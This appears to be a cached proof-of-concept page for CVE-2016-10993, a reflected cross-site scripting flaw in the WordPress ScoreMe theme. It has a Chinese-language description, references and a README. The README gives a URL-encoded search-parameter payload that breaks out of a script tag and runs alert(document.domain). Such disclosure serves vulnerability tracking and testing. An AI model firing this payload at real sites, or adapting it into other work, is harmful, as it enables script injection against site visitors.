CVE-2016-10993 PoC — WordPress ScoreMe theme 跨站脚本漏洞

Source

https://github.com/0xkucing/CVE-2016-10993

Associated Vulnerability

Title:WordPress ScoreMe theme 跨站脚本漏洞 (CVE-2016-10993)
Description:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。ScoreMe theme是使用在其中的一个用于构建具有用户评级功能网站的主题插件 WordPress ScoreMe theme 2016-04-01及之前版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

Description

CVE-2016-10993

Readme

# CVE-2016-10993

Wordpress Vulnerability - XSS ( Cross-Site Scripting )

## **Vulnerability Location**
```https://themesinfo.com/scoreme-wordpress-theme-design-496```

## **Proof of Concept (PoC)**
```https://example.com/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E```


### Refrensi

https://wpscan.com/vulnerability/8431

https://nvd.nist.gov/vuln/detail/cve-2016-10993

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10993

File Snapshot


 [4.0K]  /data/pocs/d183c9bd14ed6cfab9fe77757297e257385c1cd0
└── [ 472]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!